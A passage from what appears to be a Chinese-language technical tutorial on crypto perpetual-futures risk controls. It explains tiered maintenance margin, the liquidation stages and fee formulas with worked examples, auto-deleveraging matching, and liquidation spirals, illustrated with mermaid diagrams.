梯度维持保证金率</li><li><strong>完整计算</strong>：还需加上爆仓手续费预估</li><li><strong>作用</strong>：判断强制平仓的分母，同时决定强平清算费的计算基础</li></ul><p><strong>3. 开仓保证金（初始保证金）</strong></p><ul><li><strong>定义</strong>：开仓时需要投入的资金</li><li><strong>计算</strong>：仓位价值 ÷ 杠杆倍数</li><li><strong>示例</strong>：10倍杠杆开100张BTCUSDT（价格50,000），开仓保证金5,000 USDT</li></ul><p><strong>4. 维持保证金vs开仓保证金的关键差异</strong></p><ul><li><strong>数值大小</strong>：维持保证金 &lt;&lt; 开仓保证金（通常小100-200倍）</li><li><strong>用途</strong>：开仓保证金用于开仓，维持保证金用于判断强制平仓</li><li><strong>变化性</strong>：开仓保证金固定，维持保证金随标记价格变化</li></ul><p><strong>5. 梯度维持保证金率</strong></p><ul><li><strong>定义</strong>：根据持仓规模划分档位的风险系数</li><li><strong>原理</strong>：持仓越大，维持保证金率越高</li><li><strong>作用</strong>：既是强制平仓的判断标准，也是强平清算费的计算基础</li></ul><h5 id="5-1-1-2-梯度维持保证金率制度">5.1.1.2 梯度维持保证金率制度</h5><p><strong>基本原理</strong>：<br>根据持仓规模划分档位，持仓越大，维持保证金率越高，最大可用杠杆越低。</p><p><strong>图6 梯度维持保证金率制度</strong></p><pre><code class="highlight mermaid">graph TD    subgraph &quot;梯度维持保证金率制度&quot;        A[&quot;档位1&lt;br/&gt;0-999张&lt;br/&gt;保证金率: 0.4%&lt;br/&gt;最大杠杆: 125倍&quot;]        B[&quot;档位2&lt;br/&gt;1000-4999张&lt;br/&gt;保证金率: 0.5%&lt;br/&gt;最大杠杆: 100倍&quot;]        C[&quot;档位3&lt;br/&gt;5000-9999张&lt;br/&gt;保证金率: 1.0%&lt;br/&gt;最大杠杆: 50倍&quot;]        D[&quot;档位4&lt;br/&gt;10000-19999张&lt;br/&gt;保证金率: 2.5%&lt;br/&gt;最大杠杆: 20倍&quot;]        E[&quot;档位5&lt;br/&gt;20000张以上&lt;br/&gt;保证金率: 5.0%&lt;br/&gt;最大杠杆: 10倍&quot;]        F[&quot;持仓规模增加&quot;] --&gt; G[&quot;保证金率提高&quot;]        G --&gt; H[&quot;最大杠杆降低&quot;]        H --&gt; I[&quot;风险控制加强&quot;]    end    A --&gt; B --&gt; C --&gt; D --&gt; E    style A fill:#c8e6c9    style B fill:#e8f5e8    style C fill:#fff3e0    style D fill:#ffecb3    style E fill:#ffcdd2    style F fill:#e1f5fe    style G fill:#e1f5fe    style H fill:#e1f5fe    style I fill:#e1f5fe</code></pre><p>如图6所示，梯度维持保证金率制度通过档位划分，实现了风险与仓位规模的精确匹配。持仓规模越大，所需维持保证金率越高，可用杠杆越低，形成有效的风险控制机制。</p><table><thead><tr><th>档位</th><th>持仓规模</th><th>维持保证金率</th><th>最大杠杆</th></tr></thead><tbody><tr><td>1</td><td>0-999张</td><td>0.4%</td><td>125倍</td></tr><tr><td>2</td><td>1000-4999张</td><td>0.5%</td><td>100倍</td></tr><tr><td>3</td><td>5000-9999张</td><td>1.0%</td><td>50倍</td></tr><tr><td>4</td><td>10000-19999张</td><td>2.5%</td><td>20倍</td></tr><tr><td>5</td><td>20000张以上</td><td>5.0%</td><td>10倍</td></tr></tbody></table><p><strong>作用机制</strong>：</p><ul><li><strong>风险递增控制</strong>：大仓位对市场冲击更大，需要更高保证金率</li><li><strong>流动性保护</strong>：防止大额仓位一次性平仓对市场造成冲击</li><li><strong>系统稳定性</strong>：降低单个大户爆仓对整个系统的影响</li></ul><h5 id="5-1-1-3-触发条件与判断流程">5.1.1.3 触发条件与判断流程</h5><p><strong>判断标准</strong>：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">维持保证金率 = 调整后权益 / 维持保证金要求 ≤ 100%</span><br></pre></td></tr></table></figure><p><strong>监控流程</strong>：</p><pre><code class="highlight mermaid">graph TD    A[&quot;实时监控&quot;] --&gt; B[&quot;价格变化触发重算&quot;]    B --&gt; C&#123;&quot;维持保证金率 ≤ 100%?&quot;&#125;    C --&gt;|否| D[&quot;继续监控&quot;]    C --&gt;|是| E[&quot;启动强平流程&quot;]    E --&gt; F[&quot;风控撤单&lt;br/&gt;（撤销增加风险的挂单）&quot;]    F --&gt; G[&quot;预减仓撤单&lt;br/&gt;（撤销所有挂单）&quot;]    G --&gt; H&#123;&quot;维持保证金率 &gt; 100%?&quot;&#125;    H --&gt;|是| I[&quot;风险缓解，恢复正常&quot;]    H --&gt;|否| J[&quot;执行强制平仓&quot;]    J --&gt; K[&quot;按阶段减仓&quot;]    K --&gt; L[&quot;计算强平费用&quot;]    D --&gt; A    I --&gt; A</code></pre><p><strong>详细执行步骤</strong>：</p><p><strong>第一阶段：风控撤单</strong> (维持保证金率 &lt; 300%)</p><ul><li>系统自动撤销增加仓位风险的挂单</li><li>包括：全仓开仓单、逐仓开仓单、卖出该币种的挂单</li><li>目的：通过减少潜在风险来避免强制平仓</li></ul><p><strong>第二阶段：预减仓撤单</strong> (维持保证金率 ≤ 100%)</p><ul><li>撤销该币种下所有未成交挂单（包含策略委托单）</li><li>撤销普通挂单的逐仓开仓单</li><li>撤销开仓属性的逐仓止盈止损单</li><li>保留平仓属性的止盈止损单</li></ul><p><strong>第三阶段：强制平仓执行</strong> (撤单后仍 ≤ 100%)</p><ul><li>按照官方文档规定的三个阶段顺序减仓：<ol><li>优先减仓双向持仓下的反向仓位</li><li>减仓delta对冲的仓位（保持总delta值不变）</li><li>减仓剩余非对冲仓位（优先减降低风险效果最好的仓位）</li></ol></li></ul><p><strong>监控要点</strong>：</p><ul><li><strong>实时监控</strong>：风险管理引擎持续计算账户保证金率</li><li><strong>预警机制</strong>：当保证金率接近100%时发出预警（通常300%时开始预警）</li><li><strong>触发判断</strong>：保证金率降至100%时，系统判定触发强制平仓</li></ul><p><strong>账户模式差异</strong>：</p><ul><li><strong>逐仓模式</strong>：每个仓位单独计算维持保证金要求</li><li><strong>全仓模式</strong>：所有仓位综合计算维持保证金要求</li><li><strong>组合保证金模式</strong>：基于极端压力测试场景的亏损值确定</li></ul><p><strong>触发后的立即行动</strong>：</p><ol><li><strong>订单管理</strong>：自动取消或拒绝需要追加保证金的新订单</li><li><strong>仓位接管</strong>：交易所接管用户账户仓位的处理责任</li><li><strong>启动平仓</strong>：优先平仓保证金最高的仓位</li></ol><h5 id="5-1-1-4-强制平仓执行机制">5.1.1.4 强制平仓执行机制</h5><p><strong>执行流程</strong>：</p><ol><li><p><strong>部分平仓</strong>：</p><ul><li>系统尝试通过部分平仓使保证金率回升至安全水平</li><li>选择风险最高的仓位进行平仓</li><li>优先平仓保证金最高的仓位</li></ul></li><li><p><strong>全部平仓</strong>：</p><ul><li>如果部分平仓无法解决问题，进行全部平仓</li><li>确保账户不出现负权益</li></ul></li></ol><p><strong>价格基准</strong>：</p><ul><li><strong>标记价格</strong>：作为强制平仓的触发和执行基准</li><li><strong>避免误平仓</strong>：防止因单笔异常交易导致的误平仓</li><li><strong>确保公平性</strong>：保证价格的公平性和稳定性</li></ul><p><strong>执行方式</strong>：</p><ol><li><strong>市价单执行</strong>：将用户仓位作为市价单放入订单簿</li><li><strong>市场匹配</strong>：由其他交易者在市场价格接单</li><li><strong>交易所接管</strong>：交易所承担用户仓位的处理责任并使用风险准备金</li></ol><h5 id="5-1-1-5-费用结构">5.1.1.5 费用结构</h5><p><strong>图8 强制平仓费用结构体系</strong></p><pre><code class="highlight mermaid">graph TD    A[&quot;强制平仓费用&quot;] --&gt; B[&quot;强制平仓手续费&lt;br/&gt;（处理费用）&quot;]    A --&gt; C[&quot;强制平仓清算费&lt;br/&gt;（风险补偿费用）&quot;]    B --&gt; D[&quot;计算公式:&lt;br/&gt;手续费率 × (成交张数 × 合约乘数 × 合约面值 × 成交价格)&quot;]    B --&gt; E[&quot;费率规则:&lt;br/&gt;按用户等级的吃单费率收取&quot;]    B --&gt; F[&quot;费率范围:&lt;br/&gt;VIP0: 0.05% ~ VIP9: 0.01%&quot;]    C --&gt; G[&quot;计算公式:&lt;br/&gt;合约面值 × 合约乘数 × 爆仓张数 × 标记价格 × 梯度维持保证金率&quot;]    C --&gt; H[&quot;特点:&lt;br/&gt;公式与维持保证金要求相同&quot;]    C --&gt; I[&quot;作用:&lt;br/&gt;让用户承担风险匹配的成本&quot;]    B --&gt; J[&quot;风险准备金账户&quot;]    C --&gt; J    style A fill:#f3e5f5    style B fill:#e1f5fe    style C fill:#fff3e0    style J fill:#c8e6c9</code></pre><p>如图8所示，强制平仓费用分为手续费和清算费两个组成部分。手续费补偿处理成本，清算费用于风险补偿，两种费用最终都进入风险准备金，增强系统安全性。</p><p><strong>费用类型</strong>：<br>强制平仓时，用户需要支付两种专门的费用，<strong>不收取普通的开仓/平仓手续费</strong>：</p><p><strong>1. 强制平仓手续费（处理费用）</strong></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">强平手续费 = 强平手续费率 × (成交张数 × 合约乘数 × 合约面值 × 成交价格)</span><br></pre></td></tr></table></figure><ul><li><strong>费率规则</strong>：按照用户当前所处等级的<strong>吃单费率</strong>收取</li><li><strong>费率范围</strong>：VIP0为0.05%，VIP9为0.01%</li><li><strong>收取时机</strong>：强制平仓实际成交时收取</li><li><strong>结算货币</strong>：USDT永续合约手续费以USDT结算</li><li><strong>作用</strong>：补偿交易所处理强平订单的运营成本</li></ul><p><strong>2. 强制平仓清算费（风险补偿费用）</strong></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">U本位合约强平清算费 = 合约面值 × 合约乘数 × 爆仓张数 × 标记价格 × 梯度维持保证金率</span><br></pre></td></tr></table></figure><ul><li><strong>重要特点</strong>：公式与维持保证金要求完全相同</li><li><strong>设计逻辑</strong>：让用户承担与其风险水平相匹配的成本</li><li><strong>作用</strong>：补偿价格差异风险，减轻风险准备金压力</li></ul><p><strong>费用计算示例</strong>：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">仓位：1000张BTCUSDT永续合约</span><br><span class="line">合约面值：0.01 BTC，合约乘数：1</span><br><span class="line">实际成交价格：49,500 USDT，标记价格：50,000 USDT</span><br><span class="line">用户等级：VIP1（吃单费率0.05%）</span><br><span class="line">梯度维持保证金率：0.4%</span><br><span class="line"></span><br><span class="line">强平手续费 = 0.05% × (1000 × 1 × 0.01 × 49,500) = 247.5 USDT</span><br><span class="line">强平清算费 = 0.01 × 1000 × 1 × 50,000 × 0.4% = 2,000 USDT</span><br><span class="line">总费用 = 2,247.5 USDT</span><br></pre></td></tr></table></figure><p><strong>资金流向</strong>：</p><ul><li>两种费用的净收益100%进入风险准备金账户</li><li>为用户提供额外保障，持续补充风险准备金</li></ul><h5 id="5-1-1-6-价格差异风险管理">5.1.1.6 价格差异风险管理</h5><p><strong>核心问题</strong>：<br>强制平仓时，标记价格（触发价格）与实际成交价格的差异可能导致超额损失。</p><p><strong>价格差异原因</strong>：</p><ul><li><strong>标记价格</strong>：用于触发强制平仓的基准价格，相对稳定</li><li><strong>实际成交价格</strong>：在订单簿中实际成交的价格，受流动性影响</li><li><strong>差异产生</strong>：市场波动剧烈时，两者可能存在显著差异</li></ul><p><strong>风险影响</strong>：</p><ul><li><strong>用户风险</strong>：实际损失比按标记价格计算的损失更大，可能导致负权益</li><li><strong>交易所风险</strong>：需要通过风险准备金承担超额损失</li><li><strong>系统风险</strong>：大量用户同时爆仓时，累积的价格差异损失巨大</li></ul><p><strong>影响因素</strong>：</p><ul><li><strong>市场深度</strong>：流动性越差，价格差异越大</li><li><strong>波动性</strong>：价格波动越剧烈，差异越明显</li><li><strong>仓位规模</strong>：大仓位需要消耗更多订单簿深度</li></ul><p><strong>风险管理机制</strong>：</p><ul><li><strong>风险准备金</strong>：吸收价格差异产生的超额损失</li><li><strong>ADL机制</strong>：当风险准备金不足时，由其他用户承担</li><li><strong>强平清算费</strong>：让用户承担部分价格差异风险，减轻风险准备金压力</li></ul><h4 id="5-1-2-自动减仓机制（ADL）">5.1.2 自动减仓机制（ADL）</h4><p><strong>图9 自动减仓机制（ADL）执行流程</strong></p><pre><code class="highlight mermaid">flowchart TD    A[&quot;强制平仓发生&quot;] --&gt; B[&quot;风险准备金评估&quot;]    B --&gt; C&#123;&quot;风险准备金充足?&quot;&#125;    C --&gt;|是| D[&quot;正常清算完成&lt;br/&gt;风险准备金承担损失&quot;]    C --&gt;|否| E[&quot;触发ADL机制&quot;]    E --&gt; F[&quot;识别相反方向仓位&quot;]    F --&gt; G[&quot;按ADL队列排序&quot;]    subgraph &quot;ADL排序规则&quot;        H[&quot;盈利水平&lt;br/&gt;（未实现盈利）&quot;]        I[&quot;杠杆倍数&lt;br/&gt;（风险程度）&quot;]        J[&quot;综合评分&lt;br/&gt;（盈利×杠杆）&quot;]    end    G --&gt; H    G --&gt; I    G --&gt; J    J --&gt; K[&quot;强制平仓高评分仓位&quot;]    K --&gt; L[&quot;平仓价格 = 破产价格&lt;br/&gt;（对被ADL用户有利）&quot;]    L --&gt; M[&quot;损失由被ADL用户承担&lt;br/&gt;保护风险准备金&quot;]    subgraph &quot;风险管理层级&quot;        N1[&quot;第一层: 风险准备金&quot;]        N2[&quot;第二层: ADL机制&quot;]        N3[&quot;第三层: 交易所注资&quot;]    end    style D fill:#c8e6c9    style E fill:#ffeb3b    style M fill:#ffcdd2    style N1 fill:#e1f5fe    style N2 fill:#fff3e0    style N3 fill:#f3e5f5</code></pre><p>如图9所示，ADL机制是风险管理的第二道防线。当风险准备金不足时，系统会按照盈利水平和杠杆倍数对仓位进行排序，强制平仓高风险盈利仓位，形成三层风险管理体系。</p><h5 id="5-1-2-1-机制定义与作用">5.1.2.1 机制定义与作用</h5><p>自动减仓（Auto-Deleveraging，ADL）是一种风险管理机制，用于保护OKX风险准备金。当风险准备金无法吸收因清算亏损仓位而产生的进一步损失时，系统将启动ADL机制，将亏损仓位与相反的盈利或高杠杆仓位进行匹配平仓。</p><h5 id="5-1-2-2-清算与ADL流程图解">5.1.2.2 清算与ADL流程图解</h5><p><strong>正常清算流程（大多数情况）</strong>：</p><pre><code class="highlight mermaid">graph TD    A[用户保证金率低于维持保证金率] --&gt; B[系统触发强制平仓]    B --&gt; C[将仓位作为市价单放入订单簿]    C --&gt; D[其他交易者接单]    D --&gt; E[平仓完成]    E --&gt; F[风险准备金吸收小额损失]    F --&gt; G[无需ADL]    style A fill:#ffcccc    style G fill:#ccffcc</code></pre><p><strong>ADL清算流程（特殊情况）</strong>：</p><pre><code class="highlight mermaid">graph TD    A[用户保证金率低于维持保证金率] --&gt; B[系统触发强制平仓]    B --&gt; C[将仓位作为市价单放入订单簿]    C --&gt; D&#123;订单簿深度是否足够？&#125;    D --&gt;|是| E[其他交易者接单]    D --&gt;|否| F[市价单部分成交或完全失败]    F --&gt; G[风险准备金无法承担损失]    G --&gt; H[触发ADL机制]    H --&gt; I[寻找相反方向的盈利仓位]    I --&gt; J[强制匹配平仓]    J --&gt; K[ADL完成]    E --&gt; L[平仓完成]    L --&gt; M[风险准备金吸收小额损失]    M --&gt; N[无需ADL]    style A fill:#ffcccc    style F fill:#ffaaaa    style K fill:#ffffaa    style N fill:#ccffcc</code></pre><p><strong>重要澄清：ADL针对的是盈利仓位，不是亏损仓位</strong></p><p>很多人误解ADL会影响有清算风险的仓位，实际上恰恰相反：</p><ul><li><strong>被ADL的仓位</strong>：健康的盈利仓位（被强制平仓）</li><li><strong>触发ADL的仓位</strong>：已经爆仓的亏损仓位（需要被清算）</li><li><strong>ADL的本质</strong>：用盈利仓位的利润来承担爆仓仓位的超额损失</li></ul><p><strong>基本原理</strong>：</p><ul><li>亏损仓位与盈利仓位（“被减仓位”）直接匹配</li><li>两个仓位相互抵消并平仓</li><li>消除亏损仓位对风险准备金的进一步威胁</li><li>盈利仓位被强制平仓，限制未来盈利潜力</li></ul><p><strong>ADL匹配机制详解</strong>：</p><p>系统会按照以下步骤进行仓位匹配：</p><p><strong>第1步：识别亏损仓位</strong></p><ul><li>系统扫描所有无法正常平仓的亏损仓位</li><li>这些仓位已经导致风险准备金损失或即将耗尽</li></ul><p><strong>第2步：寻找匹配的盈利仓位</strong></p><ul><li>在<strong>相反方向</strong>的仓位中寻找匹配对象</li><li>按照ADL排序规则确定被减仓的优先级</li><li>优先选择盈利最多、杠杆最高的仓位</li></ul><p><strong>第3步：数量匹配与平仓执行</strong></p><p><strong>匹配示例1：完全匹配</strong></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">亏损仓位：用户A持有BTCUSDT多仓 -100张（亏损状态）</span><br><span class="line">盈利仓位：用户B持有BTCUSDT空仓 +100张（盈利状态）</span><br><span class="line">匹配结果：两个仓位完全匹配，同时平仓</span><br><span class="line">执行价格：当前标记价格</span><br></pre></td></tr></table></figure><p><strong>匹配示例2：部分匹配（亏损仓位较大）</strong></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">亏损仓位：用户A持有BTCUSDT多仓 -500张（亏损状态）</span><br><span class="line">盈利仓位：用户B持有BTCUSDT空仓 +100张（盈利状态）</span><br><span class="line">匹配结果：</span><br><span class="line">- 用户B的100张空仓全部平仓</span><br><span class="line">- 用户A的500张多仓中，100张被平仓</span><br><span class="line">- 用户A剩余400张多仓需要寻找下一个匹配对象</span><br></pre></td></tr></table></figure><p><strong>匹配示例3：部分匹配（盈利仓位较大）</strong></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">亏损仓位：用户A持有BTCUSDT多仓 -80张（亏损状态）</span><br><span class="line">盈利仓位：用户B持有BTCUSDT空仓 +200张（盈利状态）</span><br><span class="line">匹配结果：</span><br><span class="line">- 用户A的80张多仓全部平仓</span><br><span class="line">- 用户B的200张空仓中，80张被平仓</span><br><span class="line">- 用户B剩余120张空仓继续持有</span><br></pre></td></tr></table></figure><p><strong>第4步：连续匹配处理</strong><br>当单个盈利仓位无法完全匹配亏损仓位时，系统会：</p><ol><li>按ADL排序顺序寻找下一个盈利仓位</li><li>继续进行匹配，直至亏损仓位完全平仓</li><li>记录所有被减仓的用户和数量</li></ol><p><strong>实际案例：市场暴跌触发ADL</strong></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line">市场情况：BTC从50,000跌至40,000，多个高杠杆多仓爆仓</span><br><span class="line"></span><br><span class="line">步骤1：识别触发ADL的亏损仓位</span><br><span class="line">- 用户A：100倍杠杆多仓 -1000张（已爆仓，保证金耗尽）</span><br><span class="line">- 用户C：50倍杠杆多仓 -500张（已爆仓，保证金耗尽）</span><br><span class="line">- 用户E：25倍杠杆多仓 -300张（已爆仓，保证金耗尽）</span><br><span class="line">总计需要清算：1800张多仓</span><br><span class="line"></span><br><span class="line">步骤2：寻找被ADL的盈利仓位（相反方向的空仓）</span><br><span class="line">按ADL排序规则选择：</span><br><span class="line">1. 用户B：空仓 +600张（盈利20%，杠杆100倍）→ 全部被减仓</span><br><span class="line">2. 用户D：空仓 +400张（盈利15%，杠杆50倍）→ 全部被减仓</span><br><span class="line">3. 用户F：空仓 +800张（盈利10%，杠杆20倍）→ 其中800张被减仓</span><br><span class="line"></span><br><span class="line">步骤3：匹配结果</span><br><span class="line">- 亏损的1800张多仓全部平仓（这些用户已经爆仓）</span><br><span class="line">- 盈利的1800张空仓被强制平仓（这些用户原本在赚钱）</span><br><span class="line">- 匹配在标记价格42,000执行</span><br><span class="line"></span><br><span class="line">步骤4：资金流向</span><br><span class="line">- 用户B、D、F的利润被用来填补用户A、C、E的超额损失</span><br><span class="line">- 风险准备金得到保护，避免进一步损失</span><br></pre></td></tr></table></figure><p><strong>关键理解：谁受到ADL影响？</strong></p><p>❌ <strong>错误理解</strong>：有清算风险的仓位会被ADL<br>✅ <strong>正确理解</strong>：盈利良好的仓位会被ADL</p><p><strong>具体说明</strong>：</p><ul><li><strong>有清算风险的仓位</strong>：这些仓位已经爆仓，保证金耗尽，无法继续交易</li><li><strong>被ADL的仓位</strong>：这些是健康的盈利仓位，本来可以继续持有，但被强制平仓</li><li><strong>ADL的不公平性</strong>：盈利的交易者被迫承担了爆仓者的损失</li><li><strong>ADL的必要性</strong>：保护交易所和其他用户免受系统性风险</li></ul><p><strong>重要问题：所有清算都需要ADL吗？</strong></p><p><strong>答案：不是！ADL只在特殊情况下触发</strong></p><p><strong>正常清算流程（大多数情况）</strong>：</p><ul><li><p>触发强制平仓<br>用户保证金率低于维持保证金率 → 系统触发强制平仓</p></li><li><p>订单簿平仓<br>系统将用户的仓位作为市价单放入订单簿 → 由其他交易者接单</p></li><li><p>风险准备金吸收<br>如果有小额损失（平仓价格略差于预期）→ 风险准备金吸收损失</p></li></ul><p>结果：平仓完成，无需ADL</p><p><strong>关键问题：为什么市价单机制仍可能失败？</strong></p><p>理论上，市价单会以任何可用价格成交，但实际中存在以下问题：</p><p><strong>1. 订单簿深度不足</strong><br>正常情况下的订单簿：<br>买盘：</p><ul><li>49,950: 100张</li><li>49,900: 200张</li><li>49,850: 300张</li><li>49,800: 400张</li><li>49,750: 500张<br>总深度：1,500张</li></ul><p>但某用户爆仓需要平仓2,000张多仓！<br>结果：订单簿深度不足，无法完全消化</p><p><strong>2. 极端市场条件下的订单簿状态</strong><br>市场恐慌时的订单簿：<br>买盘：</p><ul><li>49,000: 10张 (价格跳空严重)</li><li>48,000: 20张</li><li>47,000: 30张</li><li>46,000: 40张</li><li>45,000: 50张</li></ul><p>问题：</p><ul><li>流动性极度匮乏</li><li>价格跳空巨大</li><li>接单者寥寥无几</li></ul><p><strong>3. 市价单的执行现实</strong><br>爆仓用户：需要平仓1,000张BTCUSDT多仓<br>当前标记价格：50,000 USDT<br>订单簿状态：</p><ul><li>49,500: 100张</li><li>49,000: 200张</li><li>48,000: 300张</li><li>47,000: 400张 (深度不足)</li></ul><p>执行结果：</p><ul><li>前700张可以在49,500-47,000之间成交</li><li>剩余300张找不到买家</li><li>或者价格跌至极低（如45,000）才有买家</li></ul><p><strong>4. 为什么会出现这种情况？</strong></p><p><strong>市场恐慌效应</strong>：</p><ul><li>当价格暴跌时，买家会撤单或降低报价</li><li>大家都在抛售，很少有人愿意接盘</li><li>流动性提供者（做市商）也会减少报价或退出</li></ul><p><strong>技术限制</strong>：</p><ul><li>订单簿更新需要时间</li><li>大额单子瞬间消耗完所有流动性</li><li>系统无法瞬间创造新的买家</li></ul><p><strong>心理因素</strong>：</p><ul><li>看到大量强制平仓，其他交易者也会恐慌</li><li>预期价格继续下跌，不愿意高价接盘</li><li>流动性螺旋：流动性越少，价格波动越大，流动性进一步减少</li></ul><p><strong>5. 流动性螺旋与连环爆仓</strong></p><p>这是加密货币市场最危险的现象之一——<strong>正反馈循环</strong>：</p><p><strong>螺旋清算流程图</strong>：</p><pre><code class="highlight mermaid">graph TD    A[价格开始波动] --&gt; B&#123;波动方向&#125;    B --&gt;|下跌| C[多仓开始爆仓]    B --&gt;|上涨| D[空仓开始爆仓]    C --&gt; E[大量卖单涌入]    E --&gt; F[空仓用户不愿接盘]    F --&gt; G[价格进一步下跌]    G --&gt; H[更多多仓爆仓]    H --&gt; I[恐慌性抛售]    I --&gt; J[价格瀑布式下跌]    J --&gt; K[连环爆仓完成]    D --&gt; L[大量买单涌入]    L --&gt; M[多仓用户不愿卖出]    M --&gt; N[价格进一步上涨]    N --&gt; O[更多空仓爆仓]    O --&gt; P[恐慌性买入]    P --&gt; Q[价格火箭式上涨]    Q --&gt; R[连环爆仓完成]    style A fill:#e1f5fe    style J fill:#ffcdd2    style Q fill:#ffcdd2    style K fill:#ffeb3b    style R fill:#ffeb3b</code></pre><p><strong>下跌螺旋（多仓连环爆仓）</strong>：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line">第1步：价格开始下跌</span><br><span class="line">BTC从50,000跌至48,000</span><br><span class="line"></span><br><span class="line">第2步：高杠杆多仓开始爆仓</span><br><span class="line">- 100倍杠杆用户首先爆仓</span><br><span class="line">- 系统强制卖出大量BTC合约</span><br><span class="line">- 需要空仓用户接单</span><br><span class="line"></span><br><span class="line">第3步：卖压增加，价格进一步下跌</span><br><span class="line">- 大量卖单涌入市场</span><br><span class="line">- 空仓用户看到跌势，不愿意高价接盘</span><br><span class="line">- 价格继续跌至46,000</span><br><span class="line"></span><br><span class="line">第4步：更多多仓爆仓</span><br><span class="line">- 50倍杠杆用户开始爆仓</span><br><span class="line">- 更多强制卖单进入市场</span><br><span class="line">- 价格加速下跌至44,000</span><br><span class="line"></span><br><span class="line">第5步：恐慌性抛售</span><br><span class="line">- 其他交易者看到连环爆仓，主动平仓</span><br><span class="line">- 价格瀑布式下跌</span><br><span class="line">- 最终可能跌至35,000-40,000</span><br></pre></td></tr></table></figure><p><strong>上涨螺旋（空仓连环爆仓）</strong>：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line">第1步：价格开始上涨</span><br><span class="line">BTC从50,000涨至52,000</span><br><span class="line"></span><br><span class="line">第2步：高杠杆空仓开始爆仓</span><br><span class="line">- 100倍杠杆空仓用户首先爆仓</span><br><span class="line">- 系统强制买入大量BTC合约</span><br><span class="line">- 需要多仓用户卖出匹配</span><br><span class="line"></span><br><span class="line">第3步：买压增加，价格进一步上涨</span><br><span class="line">- 大量买单涌入市场</span><br><span class="line">- 多仓用户看到涨势，不愿意低价卖出</span><br><span class="line">- 价格继续涨至54,000</span><br><span class="line"></span><br><span class="line">第4步：更多空仓爆仓</span><br><span class="line">- 50倍杠杆空仓用户开始爆仓</span><br><span class="line">- 更多强制买单进入市场</span><br><span class="line">- 价格加速上涨至56,000</span><br><span class="line"></span><br><span class="line">第5步：恐慌性买入</span><br><span class="line">- 其他交易者看到连环爆仓，主动平空仓</span><br><span class="line">- 价格火箭式上涨</span><br><span class="line">- 最终可能涨至60,000-65,000</span><br></pre></td></tr></table></figure><p><strong>为什么会发生这种情况？</strong></p><p><strong>1. 杠杆的放大效应</strong>：</p><ul><li>高杠杆用户只需要小幅价格变动就会爆仓</li><li>爆仓时产生的买卖压力远大于正常交易</li></ul><p><strong>2. 流动性的不对称性</strong>：</p><ul><li>上涨时：多仓用户不愿意卖出（怕错过更大涨幅）</li><li>下跌时：空仓用户不愿意买入（怕接到下跌的刀子）</li></ul><p><strong>3. 恐慌与贪婪心理</strong>：</p><ul><li>看到连环爆仓，其他用户会恐慌或贪婪</li><li>加剧了市场的不理性行为</li></ul><p><strong>4. 算法交易的助推</strong>：</p><ul><li>程序化交易会识别爆仓模式</li><li>可能会故意触发连环爆仓来获利</li></ul><p><strong>历史案例</strong>：</p><ul><li><strong>2021年5月19日</strong>：BTC在几小时内从58,000跌至30,000</li><li><strong>2021年4月18日</strong>：BTC在短时间内从65,000跌至52,000</li><li><strong>各种&quot;插针&quot;事件</strong>：价格瞬间暴涨暴跌后快速回归</li></ul><p><strong>这就是为什么需要ADL的根本原因</strong>：</p><ul><li>在连环爆仓中，正常的订单簿匹配完全失效</li><li>价格可能偏离合理水平数十个百分点</li><li>风险准备金根本无法承担如此巨大的损失</li><li>必须通过ADL强制平仓盈利仓位来止损</li></ul><p><strong>需要ADL的特殊情况</strong>：</p><ul><li><p>正常强制平仓失败<br>系统尝试在订单簿平仓 → 但市场流动性不足或价格跳空严重</p></li><li><p>产生超额损失<br>平仓价格远差于预期 → 损失超过用户保证金 → 威胁风险准备金</p></li><li><p>风险准备金不足<br>超额损失过大 → 风险准备金无法完全吸收 → 